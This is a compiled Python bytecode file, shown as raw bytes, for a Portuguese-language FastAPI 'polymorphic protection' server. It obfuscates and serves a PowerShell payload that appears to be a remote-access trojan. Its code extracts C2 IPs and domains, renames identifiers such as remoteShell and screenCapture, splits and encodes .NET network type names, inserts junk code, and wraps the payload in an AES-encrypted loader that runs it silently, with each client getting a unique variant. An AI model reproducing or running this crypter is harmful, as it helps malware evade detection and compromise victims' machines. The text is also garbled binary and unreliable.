o
    Åj*º  ã                   @   sf  d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlmZ ddlmZ ddlmZmZmZ ddlmZ ddlZzddlmZmZmZ ddlmZ d	ZW n eym   d
ZY nw dddddd	dœZd	d	d	d	d	d	d	d
d
d
d	d
ddœZg g g ddœZ d{de!de"de"fdd„Z#de"fdd„Z$de"de"fdd„Z%de"de"fd d!„Z&d|d#e"d$e!d%e!de"fd&d'„Z'de"fd(d)„Z(d*e"d+e)de"fd,d-„Z*d*e"de"fd.d/„Z+d}d*e"d+e)d0e,de"fd1d2„Z-d*e"de"fd3d4„Z.d*e"de"fd5d6„Z/d*e"de"fd7d8„Z0d*e"de"fd9d:„Z1d*e"de"fd;d<„Z2d~d*e"d=e!de"fd>d?„Z3d@e4dAe4dBe4de4fdCdD„Z5d*e"de"fdEdF„Z6dd*e"dGe)de"fdHdI„Z7dJe"de"fdKdL„Z8zddMl9m:Z: ddNl;m<Z< ddl=Z=W n eyw   e>dOƒ e>dPƒ e ?dQ¡ Y nw e:dRdSdTdUZ@ddVlAmBZB ddlCZCdWdXdYddZœZDG d[d\„ d\ƒZEeEƒ ZFzddMl9m:Z: ddNl;m<Z< ddl=Z=W n ey¿   e>d]ƒ e ?dQ¡ Y nw e:d^d_d`Z@dadiZGe@ Hdb¡dcdb„ ƒZIe@jJdde<ded€dfe"fdgdh„ƒZKe@ Jdi¡d€dfe"fdjdk„ƒZLe@ Jdl¡dmdn„ ƒZMe@ Jdo¡dpdq„ ƒZNe@ Jdr¡dsdt„ ƒZOePdukr1ejQ RejQ SejTd ¡¡d ZUe=jVeU› dvedw edx dQdydz dS dS )u  
                              â•‘
â•‘  Cada resposta Ã© ÃšNICA (polimÃ³rfica)                                         â•‘
â•šâ•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•

INSTALAÃ‡ÃƒO:
    pip3 install fastapi uvicorn --break-system-packages

EXECUTAR:
    python3 servidor_proteger_completo.py

TESTAR:
    curl http://localhost:8888/proteger
é    N)ÚPath)Údatetime)ÚOptionalÚTupleÚDict)ÚProcessPoolExecutor)ÚCipherÚ
algorithmsÚmodes)Údefault_backendTFz0.0.0.0i¸"  é   z/var/www/htmlz
msedge.txt)ÚhostÚportÚworkersÚbase_dirÚsource_fileÚlog_requestsé   )Úenable_bypassÚenable_string_encryptÚenable_var_renameÚenable_func_renameÚenable_type_obfuscationÚenable_comment_removalÚenable_number_obfuscationÚenable_path_obfuscationÚenable_junk_codeÚenable_final_compressÚenable_xor_stringsÚenable_disk_encryptÚjunk_code_density©Úsensitive_ipsÚsensitive_domainsÚsensitive_stringsÚserver_porté   Ú ÚlengthÚprefixÚreturnc                    s*   t j‰ d ‡ fdd„t| ƒD ƒ¡}|| S )Nr'   c                 3   s    | ]}t  ˆ ¡V  qd S ©N©ÚrandomÚchoice)Ú.0Ú_©Úchars© ú'/var/www/html/servidor_completo_pool.pyÚ	<genexpr>Y   s   € zrandom_name.<locals>.<genexpr>)ÚstringÚascii_lettersÚjoinÚrange)r(   r)   Únamer3   r1   r4   Úrandom_nameW   s   r;   c                   C   s   dt t dd¡ƒ S )Nú$é   é   )r;   r-   Úrandintr3   r3   r3   r4   Ú
random_var\   s   r@   Úvaluec                 C   s    t  |  d¡¡ ¡ }d|› dS )Nz	utf-16-lezH([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('z'))))Úbase64Ú	b64encodeÚencodeÚdecode)rA   Úb64r3   r3   r4   Úb64_encode_ps_   s   rG   c                    s6   t  dd¡‰ d ‡ fdd„| D ƒ¡}d|› dˆ › dS )	Né   éþ   ú,c                 3   s     | ]}t t|ƒˆ A ƒV  qd S r+   )ÚstrÚord)r/   Úc©Úkeyr3   r4   r5   e   s   € z xor_encode_ps.<locals>.<genexpr>z(-join([byte[]]@(z)|%{[char]($_-bxorz)})))r-   r?   r8   )rA   Úencodedr3   rN   r4   Úxor_encode_psc   s   rQ   é   ÚsÚ	min_partsÚ	max_partsc           	      C   sœ   t | ƒdk rd| › dS tt ||¡t | ƒƒ}t | ƒ| }g }t|ƒD ]!}|| }||d k r3|| nt | ƒ}| d| ||… › d¡ q#dd |¡ d S )Nr   ú"rH   ú(z + ú))ÚlenÚminr-   r?   r9   Úappendr8   )	rS   rT   rU   Ú	num_partsÚpart_lenÚpartsÚiÚstartÚendr3   r3   r4   Úsplit_stringh   s   rb   c                  C   s:   dd„ dd„ dd„ dd„ dd„ dd„ dd„ g} t  | ¡ƒ S )	Nc                   S   s   t ƒ › dt dd¡› S )Nz = rH   i'  )r@   r-   r?   r3   r3   r3   r4   Ú<lambda>v   ó    z$generate_junk_code.<locals>.<lambda>c                   S   s   t ƒ › dtdƒ› dS )Nú = "é   rV   ©r@   r;   r3   r3   r3   r4   rc   w   s    c                   S   s   dt ƒ › dtdƒ› dS )Nzif ($false) { re   r>   z" }rg   r3   r3   r3   r4   rc   x   rd   c                   S   ó   dS )Nzwhile ($false) { break }r3   r3   r3   r3   r4   rc   y   ó    c                   S   s   dt ƒ › dS )Nztry { z = $null } catch { })r@   r3   r3   r3   r4   rc   z   s    c                   S   s   dt  dd¡› dS )Nz[void]([Math]::Sqrt(rH   iç  z)))r-   r?   r3   r3   r3   r4   rc   {   ó    c                   S   rh   )Nz $null = [Environment]::TickCountr3   r3   r3   r3   r4   rc   |   ri   r,   )Újunk_templatesr3   r3   r4   Úgenerate_junk_codet   s   ù	rl   ÚcodeÚproject_configc                 C   sj  ddg}|D ]}t  || ¡}|r$| d¡}|r$||d vr$|d  |¡ qddg}|D ]!}t  || ¡}|D ]}|rK||d vrK| d¡sK|d  |¡ q5q+t  d	| ¡}	|	ri|	 d¡}|ri||d vri|d  |¡ g d
¢}
|
D ]}t  || ¡}|r‹zt| d¡ƒ|d< W  n   Y qoqot  d| ¡}|r³| d¡}t  d|¡}|D ]}|r²||d vr²|d  |¡ q¡| S )NzFallbackIP\s*=\s*"([^"]+)"zFallbackIP\s*=\s*\'([^\']+)\'rH   r"   z\$script:Server\s*=\s*"([^"]+)"z\$Server\s*=\s*"([^"]+)"r#   r<   zPrimaryDomain\s*=\s*"([^"]+)")z\$script:Port\s*=\s*(\d+)z\$Port\s*=\s*(\d+)z\[int\]\$Port\s*=\s*(\d+)r%   z%\$script:C2Domains\s*=\s*@\(([^)]+)\)z	"([^"]+)")ÚreÚsearchÚgroupr[   ÚfindallÚ
startswithÚint)rm   rn   Úip_patternsÚpatternÚmatchÚipÚserver_patternsÚmatchesÚdomainÚdomain_matchÚport_patternsÚc2_matchÚdomains_strÚdomainsÚdr3   r3   r4   Údetect_sensitive_values…   sR   
€
€ý
û
€r‚   c                 C   s¬  i dt ddƒ“dt ddƒ“dt ddƒ“dt dd	ƒ“d
t ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt ddƒ“dt dd ƒ“d!t dd"ƒ“d#t dd$ƒ“i d%t dd&ƒ“d't dd(ƒ“d)t dd*ƒ“d+t dd,ƒ“d-t dd.ƒ“d/t dd0ƒ“d1t dd2ƒ“d3t dd4ƒ“d5t dd6ƒ“d7t dd8ƒ“d9t dd:ƒ“d;t dd<ƒ“d=t dd6ƒ“d>t dd?ƒ“d@t ddAƒ“dBt ddƒ“dCt ddDƒ“¥dEt ddFƒi¥}| ¡ D ]8\}}dG|› | v rò|  dG|› dG|› ¡} dH|› | v rdG|› | vrt dIt |¡› dJdH|› | ¡} qÛdKt dLƒ› }dMt dƒ› dN}dOt dƒ› }dP| v r5|  dP|¡} dQ| v r@|  dQ|¡} dR| v rO|  dRdS|› dT¡} dU| v r^|  dUdV|› dT¡} dW}dX}|| v rm|  ||¡} dY| v rx|  dYdZ¡} d[| v rƒ|  d[d\¡} d]t dLd^ƒfd_t dLd`ƒfdat dLdbƒfdct dddƒfdet ddfƒfdgt dLdhƒfdit dLdjƒfdkt dLdlƒfdmt dLdnƒfdot dLdpƒfg
}	|	D ]\}
}|
| v rÒ|  |
|¡} qÃ| S )qNÚScreenBoundsr=   ÚsbÚEncoderParamsÚepÚJpegEncoderÚjeÚjpegEncoderÚjcÚ	jpegCodecÚcdÚencoderParamsÚprÚ	MemStreamÚmsÚ
PerfConfigÚpcÚBWr   ÚbwÚSecurityConfigÚscÚMonitorsÚmnÚSelectedMonitorIndexÚmiÚInputTrackActiveÚitÚAutoQREnabledÚaqÚ	ForceExitÚfeÚOverlayActiveÚoaÚ
CropActiveÚcaÚCropFormÚcfÚCropProcessÚcpÚConnectionConfigÚccÚInstallConfigÚicÚInstallTokenÚtkÚ
TokenProofÚtpÚAesKeyÚakÚDeskModeÚdmÚLastDeskÚldÚRobustConfigÚrcÚRobustStateÚrsÚUseDxgiÚudÚLastDesktopÚBypassOKÚbpÚLastProtectionCheckÚlpÚProtectionCheckIntervalÚUltraConfigÚucÚ
UltraStateÚusú$script:r<   z\$z\búGet-r&   ÚWinÚHelperÚGrabzGet-ScreenshotÚFastCapturez#public static Bitmap CaptureScreen(zpublic static Bitmap rW   z::CaptureScreen(z::z;[System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()zy$([Type]("Sys"+"tem.Dra"+"wing.Imag"+"ing.ImageCo"+"decInfo")).GetMethod("Get"+"Image"+"Enco"+"ders").Invoke($null,$null)z'image/jpeg'z('ima' + 'ge/jp' + 'eg')z"image/jpeg"z("ima" + "ge/jp" + "eg")Ú
NativeHideÚNhÚDPIAwarenessÚDpiÚQRCodeSystemÚQrÚWinHideÚWhÚSvcHostÚSvÚDeskCaptureÚDcÚDxgiCaptureÚDxÚTcpKeepAliveÚTkÚScreenBypassÚSbÚNetOptimizerÚNo)r;   ÚitemsÚreplacero   ÚsubÚescape)rm   Úvar_mappingsÚoldÚnewÚfunc_screenshotÚfunc_capture_classÚfunc_capture_methodÚold_encodersÚnew_encodersÚnamespace_renamesÚold_nsÚnew_nsr3   r3   r4   Úapply_bypassº   sà   
ÿ
þ
ý
ü
û
ú
ù
ø
	÷

ö
õ
ô
ó
ò
ñ
ð
ï
î
í
ì
ë
ê
é
è
ç
æ
å
ä
ã
â
á
 à
!ß
"Þ
#Ý& "€






ö
€rð   Úuse_xorc                 C   sÊ   |d D ]}d|› d}|| v r |rt |ƒnt|ƒ}|  ||¡} q|d D ]}d|› d}|| v rA|r7t |ƒnt|ƒ}|  ||¡} q%g d¢}	|	D ]\}
}d|
› d| v rb|  d|
› dd|› d¡} qH| S )Nr"   rV   r#   ))zSystem.Net.Sockets.TcpClientz%Sys"+"tem.Net.Soc"+"kets.Tcp"+"Client)zSystem.IO.BinaryWriterzSys"+"tem.IO.Bin"+"aryWri"+"ter)zSystem.IO.BinaryReaderzSys"+"tem.IO.Bin"+"aryRea"+"der)zSystem.IO.MemoryStreamzSys"+"tem.IO.Mem"+"oryStr"+"eam)z"System.Net.NetworkInformation.Pingz.Sys"+"tem.Net.Net"+"workInf"+"ormation.Pi"+"ng)zSystem.Net.DnszSys"+"tem.Net.D"+"ns)z System.Security.Cryptography.Aesz,Sys"+"tem.Sec"+"urity.Cry"+"ptography.A"+"es)zSystem.Diagnostics.Processz#Sys"+"tem.Diag"+"nostics.Pro"+"cessz("z"))rQ   rG   râ   )rm   rn   rñ   rx   Úold_ipÚnew_ipr{   Ú
old_domainÚ
new_domainÚ	net_typesÚold_typeÚnew_typer3   r3   r4   Úapply_string_encryption  s$   €€
€rù   c                 C   sr   g d¢}|D ]0}t t dd¡ƒ}d|› | v r#|  d|› d|› ¡} d|› | v r6|  d|› d|› ¡} q| S )N)ÚserverIPÚ
serverPortÚ	tcpClientÚnetworkStreamÚbinaryWriterÚbinaryReaderÚ	machineIdÚlastPingÚscreenCaptureÚcaptureThreadÚremoteShellÚ
installDirÚ
scriptNameÚ	tokenFileÚtaskNameÚsvcNameÚisAdminÚisSystemÚclientSocketÚcommandResultÚshellOutputÚprocessInfor=   r>   r<   rÇ   )r;   r-   r?   râ   )rm   Úvars_to_renameÚvarÚnew_namer3   r3   r4   Úapply_variable_rename>  s   	€r  c                    sÂ   d}t  || ¡}h d£‰ ‡ fdd„t|ƒD ƒ}i }|D ]}g d¢}t |¡tdƒ }|||< qt| ¡ tddD ]&}|| }t  	d	t  
|¡› d
d|› d| ¡} t  	dt  
|¡› d|| ¡} q8| S )Nz+function\s+([A-Za-z][A-Za-z0-9_-]*)\s*[{\(]>*   úAdd-TypeúGet-DateúGet-HelpúNew-ItemúOut-FileúStop-Jobú	Copy-Itemú	Move-Itemú	Read-Hostú	Start-Jobú	Test-Pathú
Get-Randomú
New-Objectú
Write-HostúGet-ContentúGet-ProcessúGet-ServiceúRemove-ItemúSet-ContentúStart-SleepúWrite-ErrorúStop-ProcessúWrite-OutputúGet-ChildItemúGet-WmiObjectúStart-ProcessúWrite-VerboseúWrite-WarningúConvertTo-JsonúGet-NetAdapterúInvoke-CommandúGet-CimInstanceúConvertFrom-JsonúGet-ItemPropertyúGet-NetIPAddressúSet-ItemPropertyúGet-ScheduledTaskúInvoke-ExpressionúRegister-ScheduledTaskúUnregister-ScheduledTaskÚMainÚmainc                    s   g | ]}|ˆ vr|‘qS r3   r3   ©r/   Úf©Úprotected_funcsr3   r4   Ú
<listcomp>i  rd   z)apply_function_rename.<locals>.<listcomp>)zInvoke-rÈ   zSet-zUpdate-zStart-zInitialize-r&   T)rO   Úreversezfunction\s+z
\s*([{\(])ú	function z \1z(?<!["\'-])\bz\b(?!["\'-]))ro   rr   Úsetr-   r.   r;   ÚsortedÚkeysrY   rã   rä   )rm   Úfunc_patternrz   Ú
user_funcsÚfunc_mapÚfuncÚprefixesr  r3   r@  r4   Úapply_function_renameV  s   
$rM  c                 C   sX   ddg}|D ]\}}|| v r|   ||¡} qg d¢}|D ]\}}|| v r)|   ||¡} q| S )N)z-AssemblyName System.Drawingz&-AssemblyName ("Sys"+"tem.Dra"+"wing"))z"-AssemblyName System.Windows.Formsz/-AssemblyName ("Sys"+"tem.Win"+"dows.For"+"ms")))z'New-Object System.Net.Sockets.TcpClientz4New-Object ("Sys"+"tem.Net.Soc"+"kets.Tcp"+"Client"))z!New-Object System.IO.MemoryStreamz.New-Object ("Sys"+"tem.IO.Mem"+"oryStr"+"eam"))z!New-Object System.IO.BinaryWriterz.New-Object ("Sys"+"tem.IO.Bin"+"aryWri"+"ter"))z!New-Object System.IO.BinaryReaderz.New-Object ("Sys"+"tem.IO.Bin"+"aryRea"+"der"))zNew-Object System.Net.WebClientz)New-Object ("Sys"+"tem.Net.Web"+"Client"))râ   )rm   Únamespace_mappingsrî   rï   Únewobj_patternsÚold_objÚnew_objr3   r3   r4   Úapply_type_obfuscation}  s   þ€€rR  c                 C   sr  |   d¡}g }d}d}|D ]¦}| ¡ }d|v sd|v rd}d|v s%d|v r-d}| |¡ qd|v r5|s5d}d	|v r>|s>d}q|rAq|rI| |¡ q| d
¡rg| d	¡sg| ¡  d¡sa| ¡  d¡rf| |¡ qd
|v r®|s®d}d }g }	d}
|
t|ƒk r§||
 }|dv r‘|sŠd}|}n||krd}n|d
kr˜|s˜n|	 |¡ |
d7 }
|
t|ƒk s{d |	¡ ¡ }| |¡ qd |¡S )NÚ
Fú@'ú@"Tú'@ú"@z<#z#>ú#z#regionz
#endregionr   z"'rH   r'   )ÚsplitÚstripr[   rs   ÚlowerrY   r8   Úrstrip)rm   ÚlinesÚ	new_linesÚin_herestringÚin_block_commentÚlineÚstrippedÚ	in_stringÚ
quote_charÚnew_liner_   rM   r3   r3   r4   Úapply_comment_removal˜  s`   



€
õ
rf  c                 C   sF   g d¢}|D ]\}}d|› d}t  || ¡r t  |d|› | ¡} q| S )N))i°Ê  z(50000+1888))i'  z(5000+5000))i    z
(8000+192))i  z	(8000+80))i³  z
(5000+555))iˆ  z(2500+2500))i\  z
(4000+444))i   z	(4000+96))i   z	(1000+24))éè  z	(500+500))i»  z(400+43))éP   z(40+40)z(=\s*)z(?!\d)z\g<1>)ro   rp   rã   )rm   Únumbers_to_obfuscateÚnumÚreplacementrv   r3   r3   r4   Úapply_number_obfuscationÖ  s   €rl  Údensityc                 C   s\  |   d¡}g }d}tƒ }t|ƒD ]#\}}| ¡ }d|v s d|v r"d}|r3| |¡ d|v s1d|v r3d}qg }	t|ƒD ]0\}}||v rCq:| ¡ }| d¡sU| d	¡sU|d
krj|dkrjt ¡ dk rj|d |vrj|	 |¡ q:t 	|	t
t|	ƒ|ƒ¡}	t|ƒD ].\}}| |¡ ||	v r¨tt dd¡ƒD ]}
t|ƒt| ¡ ƒ }tƒ }| d| | ¡ qqzd |¡S )NrS  FrT  rU  TrV  rW  Ú{rD  r'   r   g333333Ó?rH   é   ú )rY  rE  Ú	enumeraterZ  ÚaddÚendswithrs   r-   r[   ÚsamplerZ   rY   r9   r?   Úlstriprl   r8   )rm   rm  r]  r^  r_  Úprotected_linesr_   ra  rb  Úinsert_pointsr0   ÚindentÚjunkr3   r3   r4   Úapply_junk_codeò  sB   

€
€
€
rz  ÚdatarO   Úivc                    s  t rtt |¡t |¡tƒ d}| ¡ }| | ¡| 	¡  S g d¢‰g d¢‰ dd„ ‰‡fdd„‰‡ ‡fdd	„}d
d„ ‰‡fdd„‰dd„ ‰‡fdd„‰‡‡‡‡fdd„}||ƒ}d}|}	t
dt| ƒdƒD ]!}
| |
|
d … }tdd„ t||	ƒD ƒƒ}|||ƒ}||7 }|}	qc|S )uŸ   
    AES-256-CBC encryption
    Usa biblioteca cryptography se disponÃ­vel (100x mais rÃ¡pido)
    Fallback para implementaÃ§Ã£o pura Python se nÃ£o tiver
    )Úbackend(   éc   é|   éw   é{   éò   ék   éo   éÅ   é0   rH   ég   é+   rI   é×   é«   év   éÊ   é‚   éÉ   é}   éú   éY   éG   éð   é­   éÔ   é¢   é¯   éœ   é¤   ér   éÀ   é·   éý   é“   é&   é6   é?   é÷   éÌ   é4   é¥   éå   éñ   éq   éØ   é1   é   r   éÇ   é#   éÃ   é   é–   r=   éš   é   é   é€   éâ   éë   é'   é²   éu   é	   éƒ   é,   é   é   én   éZ   é    éR   é;   éÖ   é³   é)   éã   é/   é„   éS   éÑ   r   éí   é    éü   é±   é[   éj   éË   é¾   é9   éJ   éL   éX   éÏ   éÐ   éï   éª   éû   éC   éM   é3   é…   éE   éù   rR   é   rh  é<   éŸ   é¨   éQ   é£   é@   é   é’   é   é8   éõ   é¼   é¶   éÚ   é!   é   éÿ   éó   éÒ   éÍ   rf   é   éì   é_   é—   éD   é   éÄ   é§   é~   é=   éd   é]   é   és   é`   é   éO   éÜ   é"   é*   é   éˆ   éF   éî   é¸   é   éÞ   é^   é   éÛ   éà   é2   é:   é
   éI   r&   é$   é\   éÂ   éÓ   é¬   éb   é‘   é•   éä   éy   éç   éÈ   é7   ém   é   éÕ   éN   é©   él   éV   éô   éê   ée   éz   é®   r>   éº   éx   é%   é.   é   é¦   é´   éÆ   éè   éÝ   ét   é   éK   é½   é‹   éŠ   ép   é>   éµ   éf   éH   ro  éö   é   éa   é5   éW   é¹   é†   éÁ   é   éž   éá   éø   é˜   é   éi   éÙ   éŽ   é”   é›   é   é‡   éé   éÎ   éU   é(   éß   éŒ   é¡   é‰   é   é¿   éæ   éB   éh   éA   é™   é-   r   é°   éT   é»   é   )
rH   rR   r   r>   ró  rÍ  ré  r´  r¾  r   c                 S   s$   | d@ r| d> dA d@ S | d> d@ S )Nr´  rH   r¾  rô  r3   )Úar3   r3   r4   Úxtime>  s   $zaes_encrypt_cbc.<locals>.xtimec                    s¸   | d | d A | d A | d A }| d }| d  |ˆ | d | d A ƒA N  < | d  |ˆ | d | d A ƒA N  < | d  |ˆ | d | d A ƒA N  < | d  |ˆ | d |A ƒA N  < | S )Nr   rH   rR   ro  r3   )rr  ÚtÚu)rs  r3   r4   Úmix_single_columnA  s    $$$ z*aes_encrypt_cbc.<locals>.mix_single_columnc                    sÆ   t | ƒ‰tddƒD ]W‰ ˆˆ d d ˆ d … ‰ˆ d dkrAˆdd … ˆd d…  ‰‡fdd„ˆD ƒ‰ˆd  ˆˆ d d  N  < nˆ d dkrP‡fdd„ˆD ƒ‰ˆ ‡ ‡‡fd	d„tdƒD ƒ¡ q	ˆS )
Nr>   rä  rH   r   r   c                    ó   g | ]}ˆ | ‘qS r3   r3   ©r/   Úb©ÚSBOXr3   r4   rB  P  rj   z:aes_encrypt_cbc.<locals>.key_expansion.<locals>.<listcomp>c                    rw  r3   r3   rx  rz  r3   r4   rB  S  rj   c                    s(   g | ]}ˆˆ d  d |  ˆ| A ‘qS )r>   r   r3   )r/   Új©r_   Úkey_scheduleÚtempr3   r4   rB  T  s   ( )Úlistr9   ÚextendrN   )ÚRCONr{  r}  r4   Úkey_expansionJ  s   "z&aes_encrypt_cbc.<locals>.key_expansionc                 S   s.   t dƒD ]}| |  ||d |  N  < q| S )Nró  ©r9   )Ústater~  Úroundr_   r3   r3   r4   Úadd_round_keyW  s   z&aes_encrypt_cbc.<locals>.add_round_keyc                    s   ‡ fdd„| D ƒS )Nc                    rw  r3   r3   rx  rz  r3   r4   rB  ]  rj   z6aes_encrypt_cbc.<locals>.sub_bytes.<locals>.<listcomp>r3   ©r…  rz  r3   r4   Ú	sub_bytes\  s   z"aes_encrypt_cbc.<locals>.sub_bytesc                 S   sd   | d | d | d | d | d | d | d | d | d	 | d
 | d | d | d | d | d | d gS )Nr   r=   r  r   r   rº  rJ  ro  r>   rf  rR   r²  rf   rH   r&   r  r3   rˆ  r3   r3   r4   Ú
shift_rows_  s
   üz#aes_encrypt_cbc.<locals>.shift_rowsc                    sJ   t dƒD ]}| |d |d d … }ˆ |ƒ}|| |d |d d …< q| S )Nr   rH   r„  )r…  r_   Úcol)rv  r3   r4   Úmix_columnsg  s
   z$aes_encrypt_cbc.<locals>.mix_columnsc                    sl   t | ƒ}ˆ ||dƒ}tddƒD ]}ˆ|ƒ}ˆ|ƒ}ˆ|ƒ}ˆ |||ƒ}qˆ|ƒ}ˆ|ƒ}ˆ ||dƒ}t|ƒS )Nr   rH   rJ  )r€  r9   Úbytes)Úblockr~  r…  r†  )r‡  rŒ  rŠ  r‰  r3   r4   Úencrypt_blockn  s   z&aes_encrypt_cbc.<locals>.encrypt_blockó    r   ró  c                 s   s    | ]	\}}||A V  qd S r+   r3   )r/   rr  ry  r3   r3   r4   r5     s   € z"aes_encrypt_cbc.<locals>.<genexpr>)ÚCRYPTO_FASTr   r	   ÚAESr
   ÚCBCr   Ú	encryptorÚupdateÚfinalizer9   rY   r  Úzip)r{  rO   r|  Úcipherr”  rƒ  r  r~  Ú	encryptedÚ
prev_blockr_   rŽ  ÚxoredÚencrypted_blockr3   )r‚  r{  r‡  rŒ  rv  rŠ  r‰  rs  r4   Úaes_encrypt_cbc  s0   	
r  c                    s  t  d¡}t  d¡}t |¡ ¡ }t |¡ ¡ }d}|t|  d¡ƒ|  }| t|ƒ|  }t| d¡||ƒ}t |¡ ¡ ‰ ‡ fdd„t	dtˆ ƒdƒD ƒ}	d 
|	¡}
td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}td	ƒ}d
 
g d‘|› ‘d‘|
› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d‘|› ‘d ‘|› ‘d ‘|› ‘d ‘|› ‘d!‘|› ‘d"‘¡}|S )#u3   Criptografa o payload para ficar ilegÃ­vel em discorÍ  ró  úutf-8c                    s   g | ]
}ˆ ||d  … ‘qS )rh  r3   )r/   r_   ©Úencrypted_b64r3   r4   rB  –  s    z)apply_disk_encryption.<locals>.<listcomp>r   rh  rS  r&   r'   z+$ErrorActionPreference='SilentlyContinue'
$z=@"
z
"@
$z=[Convert]::FromBase64String('z')
$z/=[System.Security.Cryptography.Aes]::Create()
$z.Key=$z;$z.IV=$z.Mode='CBC';$z.Padding='PKCS7'
$z=$z.CreateDecryptor()
$z5=[IO.MemoryStream]::new([Convert]::FromBase64String($z))
$z,=[Security.Cryptography.CryptoStream]::new($z,$z
,'Read')
$z=[IO.StreamReader]::new($z)
$z.ReadToEnd()
$z
.Close();$z%.Dispose()
& ([ScriptBlock]::Create($z)) @args)ÚosÚurandomrB   rC   rE   rY   rD   Úchrr  r9   r8   r;   )rm   rO   r|  Úkey_b64Úiv_b64Ú
block_sizeÚpadding_lenÚpadded_coder™  Úencrypted_linesrœ  Úv_keyÚv_ivÚv_dataÚv_aesÚv_decÚv_msÚv_csÚv_srÚv_plainÚloaderr3   rŸ  r4   Úapply_disk_encryption‰  s    



ÿþüüûûúùùùùùùøø	÷	÷
ö
ö
öõõôôóóóóòr´  Úconfigc                 C   sT  |du rt  ¡ }g g g ddœ}t| |ƒ} | dd¡rt| ƒ} | dd¡r0| dd¡}t| ||ƒ} | dd¡r:t| ƒ} | d	d¡rDt| ƒ} | d
d¡rNt| ƒ} | dd¡rXt	| ƒ} | dd¡rbt
| ƒ} | dd¡rs| dd¡}t| |ƒ} | dd¡rt| ƒ} | S t ¡  d¡}t | › t ¡ ›  ¡ ¡ ¡ dd…  ¡ }d|› d|› d}||  } | S )uŒ   
    Aplica TODAS as camadas de proteÃ§Ã£o do proteger.py original.
    Esta funÃ§Ã£o Ã© thread-safe (nÃ£o usa estado global mutÃ¡vel).
    Nr   r!   r   Tr   r   r   r   r   r   r   r   Fr    r   r   z%Y-%m-%d %H:%M:%Sró  u6  # â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•
# PROTECTED SCRIPT v4.0 - Projeto Banana (MSEDGE EDITION)
# Generated z	
# Hash: uò   
# â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•

)ÚCONFIGÚcopyr‚   Úgetrð   rù   r  rM  rR  rf  rl  rz  r´  r   ÚnowÚstrftimeÚhashlibÚmd5r-   rD   Ú	hexdigestÚupper)rm   rµ  rn   rñ   rm  Ú	timestampÚunique_hashÚheaderr3   r3   r4   Úprotect_code_completeº  sL   ü

õ*þýrÂ  Ú	base_codec                 C   s   t | ƒS )up   
    FunÃ§Ã£o executada em processo separado.
    Recebe o cÃ³digo base e retorna cÃ³digo protegido Ãºnico.
    )rÂ  )rÃ  r3   r3   r4   Úworker_protectÿ  s   rÄ  )ÚFastAPI)ÚPlainTextResponseu   ERRO: FastAPI nÃ£o instalado!z=Execute: pip3 install fastapi uvicorn --break-system-packagesrH   u,   Servidor de ProteÃ§Ã£o PolimÃ³rfica COMPLETOu3   Motor de proteÃ§Ã£o completo com todas as 9 camadasz2.0.0)ÚtitleÚdescriptionÚversion)Údequer  r&  r  )Úmin_sizeÚmax_sizeÚrefill_thresholdÚgenerator_threadsc                   @   s´   e Zd ZdZdd„ Zdedejfdd„Zdede	e fdd	„Z
d
d„ Zdefdd„Zddedefdd„Zdede	e fdd„Zdefdd„Zdefdd„Zdd„ Zdefdd„ZdS )ÚCodePoolu‘   
    Pool de cÃ³digos prÃ©-gerados.
    - Gera cÃ³digos em background
    - Cliente recebe cÃ³digo instantÃ¢neo
    - ZERO perda de clientes
    c                 C   sp   i | _ i | _i | _i | _t ¡ | _t ¡ | _	d| _
dddddœ| _ttd ƒD ]}tj| jdd}| ¡  q'd S )NTr   )Ú	generatedÚserved_from_poolÚserved_generatedÚtotal_requestsrÎ  )ÚtargetÚdaemon)ÚpoolsÚsource_cacheÚsource_mtimeÚlocksÚ	threadingÚLockÚglobal_lockÚqueueÚQueueÚgenerator_queueÚrunningÚstatsr9   ÚPOOL_CONFIGÚThreadÚ_generator_workerr`   )Úselfr_   rt  r3   r3   r4   Ú__init__4  s    

ü
þzCodePool.__init__Úfolderr*   c                 C   sL   | j  || jvrt ¡ | j|< | j| W  d   ƒ S 1 sw   Y  d S r+   )rÜ  rÙ  rÚ  rÛ  ©rå  rç  r3   r3   r4   Ú	_get_lockG  s
   
$ýzCodePool._get_lockc           
   
   C   s„  t d }t d }|rtj |||¡ntj ||¡}tj |¡s!d S tj |¡}|| jv r:| j |d¡|kr:| j| S zjt	|dƒ}| 
¡ }W d   ƒ n1 sOw   Y  | d¡rb|dd …  d¡n| d¡}|| j|< || j|< || jv r’|  |¡ | j|  ¡  W d   ƒ n1 sw   Y  td|p—d	› d
t|ƒd›dƒ |W S  tyÁ }	 ztd|› d
|	› ƒ W Y d }	~	d S d }	~	ww )Nr   r   r   Úrbs   ï»¿ro  rž  z[CACHE] Carregado Úraizz: rJ   z charsz[ERRO] Carregar )ÚSERVER_CONFIGr¡  Úpathr8   ÚexistsÚgetmtimer×  rØ  r¸  ÚopenÚreadrs   rE   rÖ  ré  ÚclearÚprintrY   Ú	Exception)
